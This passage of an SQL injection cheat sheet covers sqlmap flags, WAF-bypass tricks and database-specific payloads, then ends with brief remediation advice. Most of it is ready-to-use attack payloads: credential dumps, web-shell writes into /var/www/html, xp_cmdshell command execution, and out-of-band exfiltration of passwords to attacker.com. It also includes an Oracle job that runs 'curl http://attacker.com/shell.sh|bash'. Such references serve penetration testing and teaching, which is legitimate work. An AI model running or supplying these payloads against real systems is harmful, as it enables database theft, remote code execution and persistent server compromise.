    --data="name=FUZZ" \
    --second-url="https://target.com/view_profile" \
    --second-req second_request.txt

15. SQLMap — Complete Reference

15.1 Basic Usage

# GET parameter:
sqlmap -u "https://target.com/products?id=1"

# POST parameter:
sqlmap -u "https://target.com/login" --data="user=admin&pass=pass"

# Specify parameter:
sqlmap -u "https://target.com/products?id=1&cat=2" -p id

# Cookie injection:
sqlmap -u "https://target.com/profile" --cookie="session=abc123"

# Header injection:
sqlmap -u "https://target.com/" --headers="X-Forwarded-For: *"
sqlmap -u "https://target.com/" -H "User-Agent: *"

15.2 Specifying Database

# Auto-detect (default)
sqlmap -u "https://target.com/?id=1" --dbms=mysql
sqlmap -u "https://target.com/?id=1" --dbms=postgresql
sqlmap -u "https://target.com/?id=1" --dbms=mssql
sqlmap -u "https://target.com/?id=1" --dbms=oracle
sqlmap -u "https://target.com/?id=1" --dbms=sqlite

15.3 Enumeration Flags

# Current database / user
sqlmap -u "https://target.com/?id=1" --current-db
sqlmap -u "https://target.com/?id=1" --current-user
sqlmap -u "https://target.com/?id=1" --hostname
sqlmap -u "https://target.com/?id=1" --is-dba       # are we DBA?
sqlmap -u "https://target.com/?id=1" --privileges    # list privs

# List databases:
sqlmap -u "https://target.com/?id=1" --dbs

# List tables in DB:
sqlmap -u "https://target.com/?id=1" -D dbname --tables

# List columns in table:
sqlmap -u "https://target.com/?id=1" -D dbname -T users --columns

# Dump table:
sqlmap -u "https://target.com/?id=1" -D dbname -T users --dump

# Dump all:
sqlmap -u "https://target.com/?id=1" --dump-all

# Dump specific columns:
sqlmap -u "https://target.com/?id=1" -D dbname -T users -C username,password --dump

15.4 Technique Flags

# Specify technique (B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline)
sqlmap -u "https://target.com/?id=1" --technique=BEUST

# Time-based: increase sleep time (good for slow networks)
sqlmap -u "https://target.com/?id=1" --technique=T --time-sec=8

# Union only (faster if you know it works):
sqlmap -u "https://target.com/?id=1" --technique=U --union-cols=3

# Specify union char:
sqlmap -u "https://target.com/?id=1" --union-char=NULL

15.5 Authentication & Session Handling

# Basic HTTP auth:
sqlmap -u "https://target.com/?id=1" --auth-type=Basic --auth-cred="admin:password"

# Bearer token:
sqlmap -u "https://target.com/?id=1" --headers="Authorization: Bearer <TOKEN>"

# CSRF token handling:
sqlmap -u "https://target.com/login" \
    --data="user=admin&pass=test&csrf=TOKEN" \
    --csrf-token=csrf \
    --csrf-url="https://target.com/login"

# Use saved request from Burp (copy as raw):
sqlmap -r request.txt

15.6 Evasion & WAF Bypass

# Random user agent:
sqlmap -u "https://target.com/?id=1" --random-agent

# Delay between requests:
sqlmap -u "https://target.com/?id=1" --delay=2

# Randomize requests:
sqlmap -u "https://target.com/?id=1" --randomize=id

# Tamper scripts (chain multiple):
sqlmap -u "https://target.com/?id=1" --tamper=space2comment
sqlmap -u "https://target.com/?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "https://target.com/?id=1" --tamper=charunicodeencode,space2comment,randomcase

# Increase aggressiveness:
sqlmap -u "https://target.com/?id=1" --level=5 --risk=3
# level 1-5: how many places to test (default 1)
# risk 1-3:  how risky payloads to use (default 1)

15.7 Available Tamper Scripts

# List all tampers:
sqlmap --list-tampers

# Key tampers and what they do:
# space2comment     → replaces spaces with /**/
# randomcase        → RaNdOmIzEs case of keywords
# between           → replaces > with NOT BETWEEN 0 AND
# charunicodeencode → unicode-encodes non-standard chars
# base64encode      → base64-encodes payload (rare use)
# equaltolike       → replaces = with LIKE
# greatest          → replaces > with GREATEST()
# ifnull2ifisnull   → replaces IFNULL with IF(ISNULL)
# modsecurityversioned → versioned MySQL comments
# percentage        → adds % before each char (IIS bypass)
# plus2concat       → replaces + with CONCAT() (MSSQL)
# space2dash        → replaces space with -- \n
# space2mssqlblank  → replaces space with random blank char
# space2mysqldash   → replaces space with -- \n (MySQL)
# unmagicquotes     → widens chars to bypass magic_quotes
# versionedmorekeywords → MySQL versioned keywords

15.8 OS / File Operations via SQLMap

# Read file:
sqlmap -u "https://target.com/?id=1" --file-read="/etc/passwd"
sqlmap -u "https://target.com/?id=1" --file-read="C:\\Windows\\System32\\drivers\\etc\\hosts"

# Write file (web shell):
sqlmap -u "https://target.com/?id=1" \
    --file-write="shell.php" \
    --file-dest="/var/www/html/shell.php"

# OS shell (interactive):
sqlmap -u "https://target.com/?id=1" --os-shell

# OS cmd (single command):
sqlmap -u "https://target.com/?id=1" --os-cmd="id"

# Meterpreter shell:
sqlmap -u "https://target.com/?id=1" --os-pwn

15.9 Advanced SQLMap Techniques

# Second-order injection:
sqlmap -u "https://target.com/update" \
    --data="name=test" \
    --second-url="https://target.com/profile"

# Custom injection marker (*):
sqlmap -u "https://target.com/api/user" \
    --data='{"id":"*"}' \
    -H "Content-Type: application/json"

# Injection in JSON array:
sqlmap -u "https://target.com/api" \
    --data='{"ids":["1*"]}' \
    -H "Content-Type: application/json"

# Hex encoding all payloads:
sqlmap -u "https://target.com/?id=1" --hex

# Proxy through Burp:
sqlmap -u "https://target.com/?id=1" --proxy="http://127.0.0.1:8080" --ignore-proxy=False

# Batch mode (no interactive prompts):
sqlmap -u "https://target.com/?id=1" --batch --dbs

# Save and resume:
sqlmap -u "https://target.com/?id=1" --dbs --save=session.sqlmap
sqlmap -u "https://target.com/?id=1" --session=session.sqlmap

16. WAF Bypass Techniques

16.1 Encoding Bypasses

-- URL encoding:
' UNION SELECT NULL,version(),NULL -- -
→ %27%20UNION%20SELECT%20NULL%2Cversion%28%29%2CNULL%20--%20-

-- Double URL encoding:
%2527 UNION SELECT...

-- Unicode encoding:
' → %u0027
space → %u0020

-- Hex encoding keywords:
SELECT → 0x53454c454354

-- HTML entity encoding (rare, context-dependent):
' → &#39;

16.2 Case & Comment Manipulation

-- Case variation:
SeLeCt  uSeR()
UNION -> uNiOn, UnIoN

-- Comment injection to break keywords:
UN/**/ION SEL/**/ECT
UN/**/ION/**/ SEL/**/ECT/**/ NULL,version(),NULL --/**/-

-- MySQL versioned comments (execute only on MySQL):
/*!UNION*/ /*!SELECT*/ NULL,version(),NULL -- -
/*!50000UNION*//*!50000SELECT*/ NULL,version(),NULL -- -

-- Whitespace alternatives:
-- Tab (%09), newline (%0a), carriage return (%0d), form feed (%0c)
UNION%09SELECT%0aNULL,version(),NULL--%20-
UNION%0aSELECT%09NULL,version(),NULL--%20-

16.3 HTTP-Level Bypasses

# HTTP parameter pollution:
# WAF reads first, app concatenates both:
GET /products?id=1&id=UNION SELECT...
GET /products?id=1 UNION&id= SELECT version() -- -

# Chunked transfer encoding:
# Some WAFs don't reassemble chunked body:
curl -X POST https://target.com/login \
    --data "user=admin" \
    -H "Transfer-Encoding: chunked"

# Content-Type confusion:
# Send JSON with form content-type:
curl -X POST https://target.com/login \
    -H "Content-Type: application/json" \
    --data '{"username":"admin'"'"' OR 1=1-- -","password":"x"}'

# Large padding to push payload past WAF buffer:
# Add 8000+ chars before payload

16.4 Keyword Bypass Payloads

-- UNION bypass:
UNiOn SeLeCt
UN/**/ION /**/SEL/**/ECT
%55NION %53ELECT
UNION%20ALL%20SELECT

-- WHERE bypass:
WH/**/ERE
WHERE -> HAVING (in some contexts)

-- AND/OR bypass:
&&  (URL: %26%26)
||  (URL: %7C%7C)
AND -> &&
OR  -> ||

-- SLEEP bypass (MySQL):
SLEEP(5) → BENCHMARK(5000000,MD5(1))

-- Quotes bypass:
'admin' → 0x61646d696e (hex)
'admin' → CHAR(97,100,109,105,110)

-- Space bypass:
SELECT/**/version()
SELECT%09version()
SELECT%0aversion()

16.5 SQLMap WAF Bypass

# Full tamper chain for aggressive WAF bypass:
sqlmap -u "https://target.com/?id=1" \
    --tamper="between,charunicodeencode,equaltolike,greatest,\
randomcase,space2comment,unmagicquotes" \
    --random-agent \
    --delay=1.5 \
    --level=5 \
    --risk=3 \
    --technique=BEUST \
    --time-sec=8 \
    --batch

17. Database-Specific Deep Dives

17.1 MySQL Specifics

-- Stacked queries (PHP mysqli_multi_query or Python):
'; INSERT INTO users (username,password) VALUES ('hacker','hacked') -- -

-- Reading files:
UNION SELECT LOAD_FILE('/etc/passwd')

-- Writing files:
UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/c.php'

-- Useful tables:
mysql.user                  -- user credentials (hashed)
information_schema.tables   -- all tables
information_schema.columns  -- all columns

-- Get MySQL users:
' UNION SELECT NULL,CONCAT(user,0x3a,authentication_string),NULL FROM mysql.user -- -

-- Get MySQL grants:
' UNION SELECT NULL,CONCAT(CURRENT_USER(),' has FILE: ',IF(@@global.secure_file_priv='','YES','NO')),NULL -- -

-- DNS OOB (Windows only):
' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\', version(), '.attacker.com\\\\a')) -- -

-- Time-safe format:
' AND (SELECT 1337 FROM (SELECT(SLEEP(5-(IF((condition),0,5))))) r) -- -

17.2 PostgreSQL Specifics

-- Can't be stopped from stacking:
'; SELECT PG_SLEEP(5) -- -

-- Large object file read (superuser):
'; SELECT lo_import('/etc/passwd') -- -
'; SELECT lo_get(<loid>) -- -

-- Copy to file (write webshell):
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' -- -

-- Copy from program (RCE):
'; COPY cmd_out FROM PROGRAM 'id' -- -

-- Extensions:
'; CREATE EXTENSION IF NOT EXISTS dblink -- -
'; SELECT * FROM dblink('host=attacker.com ...', 'SELECT 1') -- -

-- Useful tables:
pg_tables               -- all tables
information_schema.tables
pg_shadow               -- password hashes (superuser only)

-- Get PostgreSQL version:
' UNION SELECT NULL,version(),NULL -- -

-- Check if superuser:
' UNION SELECT NULL,current_setting('is_superuser'),NULL -- -

17.3 MSSQL Specifics

-- Enable xp_cmdshell:
'; EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE -- -

-- Execute OS command:
'; EXEC xp_cmdshell 'whoami' -- -

-- Linked servers (lateral movement):
'; EXEC ('SELECT @@version') AT [LINKED_SERVER_NAME] -- -
'; SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT @@version') -- -

-- Useful tables:
master.sys.databases     -- all databases
information_schema.tables
sys.sql_logins           -- SQL Server logins
sys.server_principals    -- server-level principals

-- Get password hashes:
'; SELECT name,password_hash FROM sys.sql_logins -- -

-- DNS OOB (no elevation needed):
'; EXEC master..xp_dirtree '\\COLLABORATOR.oastify.com\a' -- -

-- OPENROWSET OOB:
'; SELECT * FROM OPENROWSET('SQLNCLI','server=COLLABORATOR.oastify.com;uid=sa;pwd=sa','SELECT 1') -- -

-- MSSQL error-based (easy):
' AND 1=CONVERT(INT,(SELECT @@version)) -- -

17.4 Oracle Specifics

-- FROM DUAL required for standalone queries:
' UNION SELECT NULL,banner,NULL FROM v$version WHERE ROWNUM=1 -- -

-- No stacked queries. All SQLi via UNION, error-based, OOB, or blind.

-- All tables:
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE ROWNUM=1 -- -
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE owner='DBNAME' AND ROWNUM=1 -- -

-- All columns:
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1 -- -

-- Users and hashes:
' UNION SELECT NULL,name||':'||password,NULL FROM sys.user$ WHERE ROWNUM=1 -- -

-- UTL_HTTP (OOB / SSRF — requires ACL):
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual -- -

-- XMLType OOB (older installs — unpatched):
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY % r SYSTEM "http://'||(SELECT password FROM users WHERE ROWNUM=1)||'.attacker.com/"> %r;]>'),'/l') FROM dual -- -

-- DBMS_SCHEDULER RCE:
'; BEGIN DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1',job_type=>'EXECUTABLE',
job_action=>'/bin/bash',number_of_arguments=>2,enabled=>FALSE);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1',1,'-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1',2,'curl http://attacker.com/shell.sh|bash');
DBMS_SCHEDULER.ENABLE('J1'); END; -- -

17.5 SQLite Specifics

-- Schema:
' UNION SELECT NULL,tbl_name,NULL FROM sqlite_master WHERE type='table' -- -
' UNION SELECT NULL,sql,NULL FROM sqlite_master WHERE tbl_name='users' -- -
' UNION SELECT NULL,name,NULL FROM pragma_table_info('users') -- -

-- Single file — no concept of multiple databases
-- No xp_cmdshell, no file write natively (unless extension loaded)
-- Stacked queries supported (when app uses multi-statement exec)

-- Time-based (compute-heavy randomblob):
' AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000)))) -- -

-- Boolean error (integer overflow):
' AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END) -- -

-- Dump all:
' UNION SELECT NULL,GROUP_CONCAT(tbl_name,','),NULL FROM sqlite_master WHERE type='table' -- -

18. Remediation

18.1 Parameterized Queries (Prepared Statements)

# ── Python (psycopg2 / mysql-connector) ──
# VULNERABLE:
query = f"SELECT * FROM users WHERE username = '{username}'"

# SAFE:
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

# ── PHP ──
# VULNERABLE:
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];

# SAFE (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

# ── Java (JDBC) ──
# SAFE:
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

# ── C# (.NET) ──
# SAFE:
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM users WHERE id = @id", conn);
cmd.Parameters.AddWithValue("@id", userId);

18.2 ORDER BY / Dynamic Identifiers

# ORDER BY cannot use parameters — use allowlist:
ALLOWED_COLUMNS = ['name', 'price', 'date']
ALLOWED_DIRS = ['ASC', 'DESC']

col = request.args.get('sort')
direction = request.args.get('dir', 'ASC')

if col not in ALLOWED_COLUMNS or direction not in ALLOWED_DIRS:
    abort(400)

query = f"SELECT * FROM products ORDER BY {col} {direction}"
# Safe because we validated against allowlist

18.3 Stored Procedures (Safe Use)

-- MSSQL safe stored procedure (still parameterized):
CREATE PROCEDURE GetUser @username NVARCHAR(50)
AS
    SELECT * FROM users WHERE username = @username
-- Called as: EXEC GetUser 'admin'
-- NOT safe if procedure internally uses EXEC() with concatenation

18.4 Defense-in-Depth

  • Parameterized queries / prepared statements → PRIMARY CONTROL

  • Input validation (allowlist where possible) → SECONDARY

  • Least privilege DB accounts → no FILE, no xp_cmdshell, no superuser

  • WAF (ModSecurity, Cloudflare, AWS WAF) → DEFENSE IN DEPTH (not primary)

  • Error handling — never expose DB errors → hides error-based SQLi

  • Query timeouts → limits time-based exploitation

  • Egress filtering on DB server → blocks OOB exfiltration

  • Monitor for SQLi patterns in logs (SIEM) → detection

  • Regular DAST scanning (SQLMap, Burp) → proactive testing


19. Master Cheat Sheet

Attack Selection Decision Tree

Found a potential injection point?
│
├── Test Break & Repair → confirmed SQLi
│
├── Is there output in the page?
│ ├── YES + error messages visible?
│ │ └── Error-based → fastest extraction
│ └── YES + data reflected in response?
│ └── UNION-based → efficient extraction
│
├── No visible output, responses differ (TRUE vs FALSE)?
│ └── Boolean-based blind → character-by-character
│
├── No output difference, but delays measurable?
│ └── Time-based blind → slower, reliable
│
├── No in-band channel works?
│ └── Out-of-band (DNS/HTTP) via Burp Collaborator or interactsh
│
├── Database allows ; (MSSQL / PostgreSQL)?
│ └── Stacked queries → enables xp_cmdshell, file writes, DDL
│
└── Found injection in stored/profile field?
└── Check for second-order injection

Quick Payload Reference

-- ── Fingerprint DB ──
AND 'foo' 'bar'='foobar'               -- MySQL
AND DATALENGTH('foo')=3                -- MSSQL
AND TO_HEX(1)='1'                      -- PostgreSQL
AND LENGTHB('foo')='3'                 -- Oracle
AND GLOB('foo*','foobar')=1            -- SQLite

-- ── Get Version ──
' UNION SELECT @@version -- -          -- MySQL / MSSQL
' UNION SELECT version() -- -          -- PostgreSQL
' UNION SELECT banner FROM v$version WHERE ROWNUM=1 -- -  -- Oracle
' UNION SELECT sqlite_version() -- -   -- SQLite

-- ── Time-Based Confirm ──
' AND SLEEP(5) -- -                    -- MySQL
' AND PG_SLEEP(5)='x' -- -             -- PostgreSQL
'; WAITFOR DELAY '0:0:5' -- -          -- MSSQL
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1 -- -  -- Oracle

-- ── Error-Based (MySQL) ──
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT database()),0x7e)) -- -

-- ── Error-Based (MSSQL) ──
' AND 1=CONVERT(INT,(SELECT @@version)) -- -

-- ── Error-Based (PostgreSQL) ──
' AND CAST((SELECT version()) AS INT)=1337 -- -

-- ── Auth Bypass ──
admin'-- -                              -- comment out password check
' OR '1'='1                             -- always true (avoid in prod)

-- ── File Read ──
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL -- -    -- MySQL
' UNION SELECT NULL,PG_READ_FILE('/etc/passwd'),NULL -- - -- PostgreSQL

-- ── OOB (MSSQL) ──
'; EXEC master..xp_dirtree '//COLLABORATOR.oastify.com/a' -- -

-- ── xp_cmdshell ──
'; EXEC xp_cmdshell 'whoami' -- -       -- MSSQL (if enabled)

-- ── Write Webshell (MySQL) ──
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/c.php' -- -

SQLMap Quick Reference

sqlmap -u "URL?id=1" --dbs                         # list databases
sqlmap -u "URL?id=1" -D db --tables                # list tables
sqlmap -u "URL?id=1" -D db -T users --dump         # dump table
sqlmap -r req.txt --level=5 --risk=3               # from Burp request
sqlmap -u "URL?id=1" --os-shell                    # interactive OS shell
sqlmap -u "URL?id=1" --tamper=space2comment        # WAF bypass
sqlmap -u "URL?id=1" --technique=T --time-sec=8    # time-based only

← Web top ↑